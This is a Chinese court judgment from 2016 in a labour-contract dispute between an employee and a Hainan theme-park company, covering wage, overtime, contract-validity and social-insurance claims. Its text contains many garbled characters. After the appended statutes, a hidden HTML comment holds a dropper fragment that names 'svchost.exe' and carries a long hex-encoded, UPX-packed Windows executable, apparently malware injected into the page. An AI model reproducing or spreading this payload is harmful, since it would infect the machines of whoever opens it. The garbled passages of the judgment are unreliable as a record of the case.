海南省五指山市人民法院（原稿）
p t ; ” > 民 事 判 决 书
（2016）琼9001民初454号
原告姜晓龙，男，汉族，1977年11月7日出生，住河南省许昌市魏都区文化路*号*单元。
被告五指山黎峒文化主题公园有限公司，住所地五指山市水满乡。
法定代表人郑华封，该公司总经理。
委托代理人柳雨伽，该公司办公室主任。
委托代理人陈坚志，该公司人力资源部主管。
原告姜晓龙与被告五指山黎峒文化主题公园有限公司（以下简称黎峒公司）劳动合同纠纷一案,本院于2016年7月7日立案受理后，依法组成合议庭，于2016年8月23日公开开庭进行了审理，原告姜晓龙及被告黎峒公司委托代理人柳雨伽、陈坚志到庭参加了诉讼。本案现已审理终结。
原告姜晓龙诉称，2015年12月底，被告公司招聘营销经理岗位。原告与被告工作人员联系后，双方约定工资为是偶那个气月薪底薪5600元，转正约定底薪7000元，以后工资收入随营销业绩提升还有绩效提升，还约定缴纳五险等劳动保障按照国家法律政策执行等事宜，并得到被告公司人事部门确认。2016年1月6日，原告从河南开车到被告工作地点，1月9日报到并办理入职手续，在入职表格上，被告公司对之前约定的薪资标准予以确认。入职时，因原告记错日起，所以将入职表格及其他一些补办材料时间错写为2016年1月8日，直至2016年4月底，原告离职后整理资料，才发现时间有误，真正入职时间为1月9日。原告在被告公司工作期间，一直催促被告尽快为其办理社保，但被告总是以”正在办理”为由进行搪塞，始终未办理。被告用欺诈手段将原告骗至海南，违背陈新原则，损害原告合法权益。由于被告未按规定为原告缴纳社保，共拖欠社保金5057元，滞纳金187元。在原告工作期间，被告多次逼迫原告签订未煮面必要条款内容的空白合同。2016年2月5日，被告威胁称不签合同将停发工资，被告的行为无法律依据。原告看到劳动合同后，发现其内容含有培训费条款，且工资、社保等权益数额均为注明，也没有被告签字盖章，因此原告拒签，并要求被告将合同文本内容补全并签完后再交给原告签名，被告拒绝。2016年2月22日，被告再次通知原告签署劳动合同，该份合同仍然没有写明工资数额和社保缴纳问题，被告也仍然没有签字盖章，还是要求原告等员工先行签名。原告提出异议，最终未签名。3月14日，被告公司以”合同条款、考勤制度一定要按三亚执行”为由，威胁原告和全体员工必须签订空白合同，3月16日被告再次要求原告签署空白合同，被告表示现在合同已经修改，但经原告查看只有排版有变化，条款主要内容仍为空白，但原告迫于无奈在其他同事帮助录像的情况下最终签署了合同。被告将原告签好的合同拿走后，至今未给原告一份，该合同的签署不是原告真实意思表示，是无效合同，应视为未签订书面劳动合同，影响原告支付双倍工资的一倍差额。原告在被告处工作期间，被告要求原告每周只能休息2-4天，在春节法定假日还频繁加班，原告在职期间，周末加班共9天，春节加班3天，加班费共计6951.69元。被告已违法的工资计算方法，恶意可够原告3月份工资共1348元。其计算方法是2016年1月和3月工资按照月31个工作日，而非国家规定的21.75天。2016年3月18日，原告为被告搬运办公设备受伤，要求请假治疗，同时崔文被告社保为何入职70多天仍未缴纳，被告无法拿出社保单据，于是3月21日原告原告正式提出修厂家，被告上午同意了，下午又逼迫原告填写离职申请，离职当天也未向原告支付经济补偿金2800元和赔偿金5600元。另外被告没有将合同交原告一份，应承担赔偿责任，支付原告损失的一倍作为赔偿金，约36921元。综上，被告的行为严重违反了法律规定，应承担相应责任，为维护原告合法权益特向法院起诉要求：1、确认原、被告于2016年1月9日至2016年3月21日期间存在劳动关系；2、判令被告支付原告三个月未缴纳社保的等额补偿金月5057元，滞纳金187元；3、请求法院判令被告逼迫原告于2016年3月16日签订的劳动合同及承诺书无效；4、判令被告向原告支付2016年1月9日至2016年3月21日的未签订劳动合同的双倍工资差额14978元；5、判令被告支付原告9个双休日加班费4634元和2016年春节3太牛法定假日加班费2317元；6、判令被告向原告支付壹非法工资计算方法，而导致原告未足额获得的三月份工资差额1348元；7、判令被告支付原告解除劳动合同的经济补偿金2800元；8、判令被告多向侵害原告合法权益而支付原告的赔偿金5600元；9、判令被告向原告支付因被告以欺诈被告方式使被告从河南到海南上班的各项交通费、轮船费、车辆油费等票据费用的双倍，共计5000元；10、判令被告向原告支付2016年3月16日签订劳动合同拿走后至今未归还原告一份劳动合同的经济处罚赔偿金36921元；11、诉讼费用由被告负担。
被告黎峒公司辩称，一、原告真正的入职时间是2016年1月8日，入职表、承诺书及劳动合同等均可证明该事实。二、原告认为被告人事部员工柳雨伽、谭慧明确认的其工资为底薪5600元，转正底薪为7000元，这是错误的。首先被告公司的员工工资应由被告公司法定代表人批准才能执行，而不是由柳雨伽、谭慧明所定，其次，原告与被告签订的劳动合同明确约定其基本工资是1270元/月，这才是双方的真实意思表示、是在自愿协商的基础上约定的，是合法有效的。双方约定之后，被告也依约定履行，支付了原告三个月工资，期间原告并未提出任何异议。总之，原告在自己申请解除劳动合同之后，再向被告提出要求多付工资是不能成立的。五指山市劳动人事争议仲裁委员会五劳人仲裁字[2016]第35号仲裁裁决书认定”'员工应聘登记表'中的工资标准是一项与约定标准，是一种实现的要约行为，还不属于正式约定。二劳动合同书中约定的工资标准是经过法律程序的行为约定，是一种合法的法律行为，'劳动合同书'约定的工资其效力大于'员工应聘登记表'中所预约的工资，合同中约定的工资双方应当遵守，更应受法律保护”，该意见是准确的。三、原告认为被告应支付未缴纳社保对其造成的损失5075元，及滞纳金187元，这也是不成立的。其一，拖欠缴纳社会保险金既不是劳动仲裁的管辖范围，也不属于向人民法院起诉的民事纠纷的范围。其二、原告不能作为追缴社保的原告主体。其三、被告确实拖欠原告的社保金，但依海南省五指山市社保保险金有关规定，每月应缴纳的社保金为756.35元，三个月应为2269.05元，而不是原告所主张的5075元，况且该社保金的追缴应由人社部门进行追缴而不是原告。四、原告诉称被告多次逼迫其签署空白合同，其最终迫于无奈才签署的，这也不符合实际。实际情况是原告入职时填写了《员工应聘登记表》，同时向我公司签订了”员工入职承诺书”。我公司提供填写完整的劳动合同书，要求原告按时签订书面劳动合同，被原告认为合同条款不符合自己的要求而拒绝签名。2016年2月5日被告再次通知原告及时签订合同，而原告以同样的理由再次拒绝签名，2016年3月16日被告再次通知并声明，如原告拒绝签订合同就停发工资，至此原告才在合同书上签名按手印，原告签订劳动合同书完全是出于自愿，我公司的工作人员并没有任何威胁及逼迫的行为，从原告钱的自核手印就可以看出其不是在被威胁和逼迫的情况下所签，而且劳动合同书的内容条款都非常齐全，原告是在阅读多次的情况下才签名并按手印的，该两份劳动合同书是在双方充分了解其内容并达成合议庭的情况下签订的，而且双方签订劳动合同书后被答辩人也拿走了一份，我公司与原告签订的劳动合同书是合法有效的。五、原告主张被告应向其支付双倍工资的一倍即14987元，是不成立的。应为原告入职后，被告曾多次要求原告签订劳动合同，但原告都拒绝签订，最终原告也签订了劳动合同，在本案中不存在不签订劳动合同的情形，况且，前两个月不签订劳动合同书也是原告的原因造成而不是我公司的原因造成，《中华人民共和国劳动合同法》的规定因劳动者原因导致不签订劳动合同的，用人单位即被告不需要支付双倍工资。六、原告认为被告影响其支付加班费共计6954.69元，是不成立的。因为从原告的考勤表中可以看出，原告双休日共加班6天，2016年春节节假日加班2天，原告的月工资为1270元，一共应支付加班费为1051.02元，我公司已支付1576.55元，可见被告未曾拖欠原告加班工资，而且是已经多支付了加班工资。七、原告的第六项诉讼请求不成立，因为根据被告公司员工考勤近路表，正式原告2016年3月份舢板累计16天，根据《对<工资支付暂行规定>有关问题的补充》（劳部发[1995]226号）第二条第2向之规定，被告不存在拖欠原告工资的情况。八、原告诉称其搬运办公设备受伤后要求请假治疗，同时催问社保仍未缴纳原因，被告未做答复，于是3月21日正式提出休假，但被告单位领导同意后又蒙骗原告填写离职申请办理离职手续，并且未支付任何补偿金和赔偿金。该说法不符合事实，其一，原告的伤不是因公受伤；其二，原告是自动申请离职，并非被逼迫和受骗离职；其三，原告在试用期内自动申请解除劳动合同，依照《中华人民共和国劳动合同法》的规定，用人单位即被答辩人是不需支付经济补偿金及赔偿金的。九、原告要求被告向其支付双倍交通费5000元，不能成立。因为原告的此项主张既无法律依据也无事实依据。十、原告认为被告存在篡改合同、伪造工资表等行为严重侵害其合法权益应追究被告单位及其工作人员的刑事、行政责任，该意见是完全错误的。被告不存在篡改劳动合同、伪造绩效工资、伪造加班费的行为，也没有触犯刑法，原告的这种主张已严重侵犯了被告公司工作人员的名誉权，被告保留追究原告名誉侵权法律责任的权利。十一、原告诉称被告篡改合同，工资标准应以原告陈述为准，是错误的。原告与2016年3月16日与被告所签订的劳动合同，不是空白合同，是内容齐全，条款齐全的合同，并且我公司于2016年1月8日已盖章。多次催促原告签名按手印，而原告多次拒绝，最后在2016年3月16日经挫伤，原告自愿签名并按手印。这是双方的真实意思表示，不存在恶意篡改的1270元基本工资的事实。至于绩效工资，是根据被告公司经营状况来确定的，无法律规定需公示，而加班工资是依据原告的考勤记录按照《中华人民共和国劳动法》、《中华人民共和国劳动合同法》有关规定确定的，依法计算并支付给原告的。不存在伪造，虽原告未在工资表上签名，但2016年2月5日被告通过银行转账向原告支付工资数额为3793.35元，原告当时也未提出异议，2016年3月19日解除劳动合同时原告也未提出异议，直至2016年5月23日申请劳动仲裁时才提出异议，已远超过双方签订的劳动合同第五条第（三）项约定的六十日异议期限，更何况被告支付的工资是高于劳动合同的约定的，显然原告主张是错误的，不成立的。综上，五指山市劳动人事仲裁委员会作出的五劳人仲字[2016]第35号仲裁裁决书，认定事实清楚，程序合法，适用法律准确，该裁决书应予维持，原告起诉无事实和法律依据，应驳回其诉讼请求。
为证明各自主张，原、被告向本院提交如下证据：
一、原告提交的证据。
1、与被告单位工作人员柳雨伽聊天记录、入职表、人事工资表、考勤表、人事变动表等，证明原、被告存在劳动关系，以及原告的实际工资数额；
2、聊天记录，证明原、被告签订劳动合同时空白合同，被告未足额发放春节期间加班费，被告在合同履行过程中存在违法行为；
3、银行单据，证明原告工资收入情况；
4、劳动合同照片，证明被告要求原告签的是空白合同，该合同无效；
5、录音录像，证明被告没有向原告支付过加班费，签订合同中的工资是被告事后填写的，原告是在被告逼迫下离职的；
6、檀慧明证人证言，证明原告的工资情况；
7、张秀春证明人证言，证明原告工资情况、原告是在被告威胁不发放工资的情况下签署的空白合同等。
8、船票及交通费票据，证明原告实际报到入职时间是1月9日，不是入职材料写的1月8日，以及原告从河南来琼工作的交通费。
二、被告黎峒公司提交的证据。
1、劳动合同书，证明原、被告签订了劳动合同，对工作时间、基本工资等进行了约定，被告已履行了签订劳动合同的义务；
2、员工入职承诺书，证明原告签署的承诺书作为劳动合同附件，具有法律效力；
3、原告1-3月的工资明细，证明被告已向原告支付工资，不存在拖欠加班工资及未足额发放工资的事实；
4、离职申请表，证明原告系因其个人原因主动申请离职的；
5、微信记录，证明原告收到工资，没有像公司反应过对工资的任何异议；
6、员工应聘登记表，证明该材料不属于正式的入职文件，仅作前期面试所用，且登记表中日起与原告证人证词中索某的时间不一致，原告证人作伪证；
7、考勤表，证明原告出勤情况；
8、张秀春资料，证明其不具备证人资格。
经质证，被告对原告证据1中聊天记录、入职表、考勤刷卡记录真实性无异议，对证明内容有异议，对人事变动表、考勤记录表的真实性和证明内容均不认可，员工入职登记表其实就是原告应聘登记表，对其真实性没有异议，对证明内容有异议。对证据2真实性均不认可。对证据3真实性无异议，对证明内容有异议。对证据4真实性不认可。证据5中的录像真实性不认可，里面只有原告一个人，没有出现其他人，两外两段录音中均为出现原告声音，对其关联性有异议。对证据6真实性不予认可。对证据7不予认可，该名证人与原告一起起诉本案被告，双方存在利害关系，张秀春不具备作为证人的条件，对其证言内容亦不予认可。对证据8的真实性无异议，对证明内容和关联性有异议。
原告对被告证据1真实性无异议，对证明内容有异议。对证据2真实性无异议，对内容和日期有异议。对证据3真实性无异议，但计算方法有异议。对证据4真实性无异议，但离职并非原告自愿。对证据5、6、8真实性无异议，对证明内容有异议。对证据7无异议。
综上，对原告证据1中聊天记录、入职表、员工入职登记表考勤刷卡记录真实性本院予以认定，人事变动表、考勤记录表无公章，被告亦不予认可，对其真实性不予认定。证据2，原告无法证明聊天记录中的人员真实身份，被告对其真实性亦存在异议，对其真实性本院不予认定。证据3银行凭证被告对其真实性无异议，本院对其真实性予以认定。证据4为复印件，无原件，也无其他证据佐证其形成的时间及过程，对其真实性不予认定。证据5中录像发生的地点不详，对其真实性不予认定，录音中无原告声音，对其关联性不予认定。证据6证人未到庭，对其真实性不予认定。证据7证人到庭作证，对其真实性本院予以认定，但其不是不是被告公司财务人员，对于原告工资情况也从原告处得知，对于其关于原告工资情况的证言本院不予认定，对于其关于被告曾以不发工资为由要求原告签署空白合同的证言本院予以认定。证据8真实性予以认定，但无其他证据证明原告系驾车从河南前往被告公司工作，也无法证明以上费用是原告来被告单位工作时所花费，船票时间虽为1月8日十点，但原告仍有可能于当日到达被告公司报道，对其证明内容及关联性本院不予认定。
被告证据真实性原告均无异议，本院对其真实性予以认定。
经审理查明，2016年1月9日原告到被告单位应聘为营销经理，原告入职后，被告多次要求原告签署书面劳动合同，但双方就合同条款内容存在争议，因此直至2016年3月16日原告才最终在书面劳动合同书上签名，合同约定合同期限为2016年1月8日至2019年1月7日止，试用期为2016年1月8日至2016年4月7日，基本工资为1270元/月。2016年3月21日原告以”伤病，无法继续工作”为由申请离职，并于同日办理了离职手续。根据考勤表计算，原告在被告处工作期间共加班12.5天，其中双休日加班10天，法定节假日加班2.5天，共调休6.5天。根据工资表及原告银行凭证，被告各月已发放加班工资情况为：一月份发放双倍加班工资700.69元；二月发放双倍加班工资116.78元，三倍加班工资525.52元；三月份发放双倍加班工资233.56，共发放加班工资1576.55元。
本院认为，一、关于原、被告是否存在劳动关系问题。原告于2016年1月8日到被告单位报到，2016年1月9日正式工作，2016年3月21日离职，在2016年1月9日至2016年3月21日期间，原告在被告单位工作，被告也向原告支付了相应的劳动报酬，对于再次期间双方存在劳动关系的事实，双方均无异议，对原告要求确认其与被告在此期间存在劳动关系的请求，本院予以支持。
二、关于补缴社会保险问题。《中华人民共和国社会保险法》第八十六条规定”用人单位未按时足额缴纳社会保险费的，由社会保险费征收机构责令限期缴纳或者补足，并自欠缴之日起，按日加收万分之五的滞纳金；逾期仍不缴纳的，由有关行政部门处欠缴数额一倍以上三倍以下的罚款。”故补缴社会保险的诉请不属于人民法院民事案件受案范围，原告可向相关社会保险经办机构反映并请求处理。
三、关于劳动合同及承诺书效力问题。原告主张劳动合同在其签名时系空白合同，应属无效合同，本院经审理认为，该合同应属有效合同。原因是原告为具有完全民事行为能力的成年人，在其对合同内容不清楚或不满意的情况下可拒绝签署或离职，在劳动合同签订过程中，原告实际上也已对合同内容提出过异议，并几次拒绝签名要求修改条款，而最终原告在合同书上签名并加盖手印的行为表明了其对该合同内容最终予以了认可，可见该合同的签订是其真实意思表示。原告称是由于被告威胁停发工资，其才迫于无奈签署该劳动合同的。根据《中华人民共和国劳动合同法》第十条、第八十二规定，用人单位必须在用人之日起一个月内签订书面劳动合同，否则将承担严重的赔偿责任，本案中因原告始终不同意签订劳动合同，被告将面临严重的法律后果，被告以暂停发放工资予以对抗，以确保其法律义务的顺利履行并无不当，因此对于原告该项意见本院不予采纳。而入职承诺书系原告自愿签署，而原告任职岗位为营销经理，其文化水平及理解能力足以阅读并知晓该承诺书的内容，因此该承诺书的签订为原告真实意思表示，合法有效。综上，对于原告要求确认劳动合同及承诺书无效的请求本院不予支持。
四、关于双倍工资问题。《中华人民共和国劳动合同法实施条例》第六条规定”用人单位自用工之日起超过一个月不满一年未与劳动者清理劳动合同的，应当依照劳动合同法第八十二条的规定向劳动者每月支付两倍的工资，并与劳动者补订书面劳动合同；劳动者不予用人单位订立书面劳动合同的，用人单位应当书面通知劳动者终止劳动关系，并依照劳动合同法第四十七条的规定支付经济补偿。前款规定的用人单位向劳动者每月支付两倍工资的起算时间为用工之日起满一个月的次日，截止时间为补订书面劳动合同的前一日。”原告入职被告单位后，被告曾多次与原告协商签订劳动合同，但在原告始终拒签，在原告入职满一个月后，仍未完成合同签订，此时被告应按照《中华人民共和国劳动合同法实施条例》第五条规定，书面通知原告终止劳动关系，但被告没有采取该方式而是与原告继续保持劳动关系，直至2016年3月16日才签订了书面劳动合同，那么被告应从用工之日起满一个月的次日其向原告支付双倍工资，直至补订书面劳动合同的前一日，即从2016年2月9日支付至2016年3月15日，共1个月零五个工作日。根据原、被告订立的劳动合同，原告的月基本工资为1270元，日工资为1270÷21.75=58.39元，则被告应向原告支付双倍工资的一倍为1270+58.39×5=1561.95元。
五、关于加班费问题。《中华人民共和国劳动法》第四十四条规定”有下列情形之一的，用人单位应当按照下列标准支付高于劳动者正常工作时间工资的工资报酬：（一）安排劳动者延长工作时间的，支付不低于工资的百分之一百五十的工资报酬；（二）休息日安排劳动者工作又不能安排补休的，支付不低于工资的百分之二百的工资报酬；（三）法定休假日安排劳动者工作的，支付不低于工资的百分之三百的工资报酬。”根据该条规定，双休日安排劳动者工作的可以调休方式代替支付加班工资，而法定节假日期间安排劳动者工作的不能以调休方式代替支付加班工资。原告在被告处工作期间，共加班12.5天，其中双休日加班10天，法定节假日加班2.5天，共调休6.5天，那么应支付3.5天双倍工资，2.5天三倍工资，根据原、被告签订的劳动合同原告的月工资为1270元，则其日工资为1270÷21.75=58.39元，应支付双倍工资为58.39×2×3.5=408.73元，应支付三倍工资为58.39×3×2.5=437.93元，共应支付加班费846.66元，被告已支付加班工资1576.55元，超出应付加班工资总额，对于原告要求被告向其支付加班费的请求本院不予支持。
六、关于未足额支付工资的问题。原告认为被告工资计算方法错误，导致其未获得足额工资，其工资应按照入职表所记载的试用期5600元/月，转正后7000元/月计算。被告认为原告所说的工资标准是各项补贴、福利、津贴等的总额，而非基本工资。在入职表等材料中双方确实未约定5600元/月为基本工资，其工资标准应以劳动合同为准，在原告工作期间被告一直按此标准向对原告支付工资，原告均未提出异议，可见原告对该计算方式是认可的，对于原告该项诉求，本院不予支持。
七、关于经济补偿金及赔偿金问题。本案中，原、被告解除劳动关系的原因是原告以其”伤病，无法继续工作”为由主动申请离职的，不符合支付经济补偿金及赔偿金的条件，对于原告的该两项诉求，本院不予支持。
八、关于其他诉求。原告起诉要求被告支付其来琼工作的双倍交通费及未归还其一份劳动合同的经济处罚赔偿金。对于双倍交通费即无原、被告的约定也无法律规定，对该项诉求本院不予支持。原告与2016年3月16日签署劳动合同，5天后便离职，双方的劳动关系已解除，被告没有再给他一份劳动合同并无不妥，并且原告因此要求经济赔偿金同样既无双方约定也无法律规定，对该项诉求本院亦不予支持。
根据《中华人民共和国劳动法》第四十四条，《中华人民共和国劳动合同法》第三十六条，《中华人民共和国社会保险法》第八十六条，《中华人民共和国劳动合同法实施条例》第六条之规定判决如下：
一、原告姜晓龙与被告五指山黎峒文化主题公园有限公司于2016年1月9日至2016年3月21日期间存在劳动关系；
二、被告五指山黎峒文化主题公园有限公司于本判决生效之日起十日内向原告姜晓龙支付逾期签订书面劳动合同期间的双倍工资的一倍1561.95元；
如不按判决书指定的期间履行给付金钱义务，则应按照《中华人民共和国民事诉讼法》第二百五十三条规定加倍支付履行期间的债务利息。
三、驳回原告姜晓龙的其他诉讼请求。
案件受理费10元，由原告姜晓龙负担。
如不服本判决，可以在判决书送达之日起十五日内，向本院递交上诉状，并按对方当事人的人数或者代表人的人数提出副本，上诉于海南省第一中级人民法院。
审判长李圆
审判员梁丽梅
人民陪审员黄月芳
二〇一六年十一月一日
书记员赖思琴
附法律条文：
《中华人民共和国劳动法》
第四十四条有下列情形之一的，用人单位应当按照下列标准支付高于劳动者正常工作时间工资的工资报酬：
（一）安排劳动者延长工作时间的，支付不低于工资的百分之一百五十的工资报酬；
（二）休息日安排劳动者工作又不能安排补休的，支付不低于工资的百分之二百的工资报酬；
（三）法定休假日安排劳动者工作的，支付不低于工资的百分之三百的工资报酬。
《中华人民共和国劳动合同法》
第三十六条用人单位与劳动者协商一致，可以解除劳动合同。
《中华人民共和国社会保险法》
第八十六条用人单位未按时足额缴纳社会保险费的，由社会保险费征收机构责令限期缴纳或者补足，并自欠缴之日起，按日加收万分之五的滞纳金；逾期仍不缴纳的，由有关行政部门处欠缴数额一倍以上三倍以下的罚款。
《中华人民共和国劳动合同法实施条例》
第六条用人单位自用工之日起超过一个月不满一年未与劳动者清理劳动合同的，应当依照劳动合同法第八十二条的规定向劳动者每月支付两倍的工资，并与劳动者补订书面劳动合同；劳动者不予用人单位订立书面劳动合同的，用人单位应当书面通知劳动者终止劳动关系，并依照劳动合同法第四十七条的规定支付经济补偿。
前款规定的用人单位向劳动者每月支付两倍工资的起算时间为用工之日起满一个月的次日，截止时间为补订书面劳动合同的前一日。
<!--</div>
DropFileName=”svchost.exe”
WriteData=”4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D002000006000000D60000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF25304041CD6EE59202E4420564401919197970005C8C01191919C8EC94BF1D90B14435F4244105558BEC81C49AED60FE3CFFFFFFC7855C2B094C37B3FFE6EF0A195DD08175A035FF4DAC1155A0C9C204306E7FBF9F6845E0322D45A4346A35E804021C331F39D921085C803534311A8C8CBDFBBC815D0639C4C9C372143069B6DFDE3437353322F038383237833838BB9BBF1B700936333631FF8D4429B52C05017D7CB2F7EFE8F7950E836DCC00488AF0343532BEEFF6DDFC343491D0B23231748F046F791E39D9B60C18D83436CC3FB37BECFFF50185585DFF4D76198D3FF66FBF246365EC1E4588214DB4019D735DB40011951C61B2BB7809317DF8E77409DC00CD5D1E8EE03834459D7C16D6AEFBF60F37A88D9558FE0C528D8D7C065190388C4CC203044738A46B66BB05597F74DCF8350D509163939933694CBCCC386C84C9BAF40500D7044C0831D8D7CE16698406AB5171D8B2F7F7C1899D4F015588337AF7BBC2B3BDB4519CFF663A68312CDCBE8536475237DC8BBC332360369BCCDC219D488D14B9F73BBF8773D058009B9031E22FBFBD0BB85D2FEC35323835843631DF0EFF3CC8897DE081A52E723737814DDDB60DC394330C74F48235069564F6FE0AEE9E5C7721F7559C56BE67BECF4282D83134BE48B8E6B7EF7104786809094FC2F03321BD3C9193ADF1115DF8312999107C7736608DB077AD10133474096E123AA600973624E69B8423BB6408FF05124C3C8D7DCE261960B406FC094DDCC681D0B5080C94AC34579BD928FCDC3131B17440BB041BDF5930B44C5D5D80C0A41FFB1D0BD800297DC0312C217DFC83AD170B59E34681A01197B5AEDF6FBF16204C35290D197D80F79DBBF77684D2B75D366DE43368671105858E0C188F4C1C9C38376670127E3C23AFCC5703061430A5D35F6C54E505363834F89F91BEBDD93536C77AA7B021B5604819990CF3D0218578A0447448DF370F85E45052FF75A46043C9ACF4B3F483C48009C4314D8C771936D9DB6D7D07F08902295DF0496C9E846FB037884650378AD470D85A83EB9C05338403353636B637DE45DC3338682145E49088FA805BDB71DB13AC5B55A84583552F06D0ABF5C864547CB4373382A5AC05476BF874817B324A2F6C5B6FCC9177B8DCF471F0834DA54B8DEDA031210381CF863137D919DFD99E9C510718B1C7123C4F3232407C9C33349449EFF16653C6B1FADB37C9AD3DBC3135CCDC8C32320A9330093B560770EA3083353BE7E8BE354FE8323169B3F8F40064066B64D39831D2B76DAE124E0436315053C7CB1A7F9D4C6833AF75D468EBD6C2F7D72120F06A31069D84F8FB671D58C69C21899F342E722C0874E0F43732B93732D908A62B043CED82CFC9C8643D10B88481F0C0E1D36DC4E881AD0AA0211E5D69A1BDC0902913A54BD03A63F65D3F2A842E27DB483E089831579088C712CC096A20057CC9F8B64F406A33EABCABCDDEF55AAD09842CA1D4BEBB1BAD8008A1B53414526A3829E5E3B957128400F0FE4A171EE96EDC0384331906015DDC2DD88189D3D7480538908D4E14CFF3D82198388DD43132D08D3F32C9EE55FC528C094C0CE836363731740F265B77EC959258C77F64C9CC310984097DD88385140F637B85AD1EF42A23BA00DE108382A9D40345B01BC63324F44837634992497A5F629094AF28F6F8955E79D5C5298527D1240C18CF40C38C346067A37DC6F809E8323682F1B8FD1AD976A30A2DE57C85075051A4C3B6F0130534BCBDBD73DBE19B8D2D75384E5557A723931D76F06849542B006460F04D322DE63477581492713CA5C84FDA17EB6CA5C8DB4ECFCD8767941E92313EA33538D0678C4CC29C328544AC4868BD5A842140E37767AB6938779918530680B207EF6CEC745F6BDA61D6323834201E3336241D38D052622CDD5DE0754AEFF2D6B081FA7A4F0B8632149D1D0352B2C5CE50D2F06E0B7E950C262CB406AB37381AC06B073E2E681CA41B9C31D9D77A8431ADA028D231840265330138A856E38CC5121850BA7980B17B672744A006D4CE490C1F1BDCA0B1FA8473005594B6B00F7764B2005634C83379109959A275E331BFCD5C23878133363CEC44AE8A8F534B4933674D6A3CD2D41EB91F4400DC3537ACE1DAF32068ECE4CD90EDFED2E19A4CB936686599E3FE1000FAB1832CB1F3A05E440CB85D73F43F8BE42F01C80BC00F849901C762B19D0D77B5AC14AB0033F4FFFEF76754683B84159829CE68F152E28309D458687299EDF7EFE967B30ADAEBC76A7501E02DF08FD4D9685D0CAC160C766A1E89C1B63717C86AE6888D4D80BEAF6B0D37D66084213819ECB3EDE2D0240BBA32332F58DA4C9F2D17DC0BED045148DC93ED4DFF064E240B3529F12C74B2A30AA3FCFC68B2FD3EEB23E109AF5605225733B816BE667B088D79B0F00B76132C36C8F27724084A53501B4A3BDB8CCEC8137D0424DBE4F7B2071C75886AB106A29A24503B1827A4F90628F8D5286D9727DC6E90FCF39CDB0ED6006C20052643CC23D643835F84361304CF7AC185F69D05391010106527FC5B18A3D8C1950AA41303575753209CEDB3E402D8BA3019BF0B1FBE124D47F268F4A89B09F868C284DFF3975483A3FE1D0451CCAB6CEF70AD51691CC61A3CB34500EEF7FDEF200A68B93B498409100416C905EDB5F6FF62491111139011906363136309020500F27D91BB900990906315632113DB7FD7B5290F13307D68803C6E4F65E3A014F78DCDBEEE4480131A901C13463D113DE75EEC29435819214A77FFFF8B1B050F5245642350F1718D9193F33B6B48367B135C7BDF7B5B25501109039A62CF3DE73E0961151320BDFFB7F7B61D0C7DBC7D44737FBFF7F6771300B9E7DE8B6E64D644338CFB0D7BEF5C2E416207F3691ADE09DD9F8CD3F75FCA630590A677782EE6B5C2357F03A0FF7FEFBDD71D53D77D057303DA11DCBFE2F7E2E79E7BB16766FA41AF3E7284F662B10B97B90057EFFFB359425D63761A7313A57DC3F708D01E8737F66245081B90ED59F7DE73B3902E41129A104D67D8BA3F8F7D254389DF85239622EF4D788690410C6F987B11DE7B55D1600DE80D170AEF835F45BE1D4E4B4F61F6B9F7CBF0571F8573F71CAE3A24137B7BEFBD379011303243496EB83B1CDE88BDB8F6F3BAE0F6CE2F6CD51DC012C2F790CC132A83622F36232FC20B3FF6B3C7301B020E58F7EA7F09C3ECBDFF16126F7957F7A27F8669039D08C126BC884B8E327D841784956FA82F643373976DC3CD13D222FCE825C302D393F76F42ECB9860D40AB0E78DE7BCC7033B15E88CF84FF7F13865B11FA1F56161A1F2FB7F780AC5CDC84F75EBE3630AA3DE3CD98F12FC26B160A3CC3FF1F90F1E95C1B1850F35B0B0F0FF7401FA417E31D264CCC44ED907B3362B1DEC7B14BA6330CFFC6241D62335CA9F7FEA10A7A935E7B9F400DB906F778B1772458554D3D5CC5DCFFBFAB51E94D10A8514F2E7C6BF7D2C66B107BC1222A38C0CDBFD8A4EF4CD11383C826FF1B7BEF45F8DC12B5F7978CBFA3326C60B1F7DE0CED7AD602BEE35FB0C4934F193A88681EDC5A3610EFF05CEF602FD7F7010130718515E1F166D8AFF70374EFC5867E990C8E0EA558ACD73C1003164371C79AF566BC49608589E163EF4DC03804A04545322F8CB19BAD7D54F130171C0B02F76A1F3A8459AF0998D7D919F4786F4265688025DFDE319B1C2F5F03F3E25F07FE1D0813F6DEE602202A7756472DB5C8263C176348A1592388F022C545886FA876F7B0ECAE2157249C5054F781576C0E6F022F89AE7D0908C126CC3BEF6216CAD658ACFF1BBD5B53C522C4366E53CF5ADA3BC4DE7BE57F31855762807B6FD254138A28BDB771BB1C4350037350F4F0BB7DDE9B148B6B8A2D0B976FC28BF4E81342728D65E0BBE1F74A43F01C431F4501E9A721309B333030C06F767891110D30F20ADDEEFE09B41375A1E012450358F90F47A7537B93DEECF2236484DDB9189192C1D2912E7CA1FD63C063DE1BF302EE4F1D743B07B1DEDBADE4F01B8C3488C5DEB07AC1DF4E2C7CEFCD4BE7BE65895A43D9EB45D880B88BC6544A7891DEA490031AD51ABAB34D5F059022899A7313DEEB6D2E98B469A5BC5E8CD87B492B045C47C6FF88F57F54D47163B8747F7666F59AC1E6E8C09D5F7BD483203C8604AA0A6AA459A437473AA908F5AEEEFF9025477D18B0F7A5A445390E7D5BF7D584581188DC3ED607211689D9C200ADA32BD28B35A8EC05DB60DA787B28370F00527D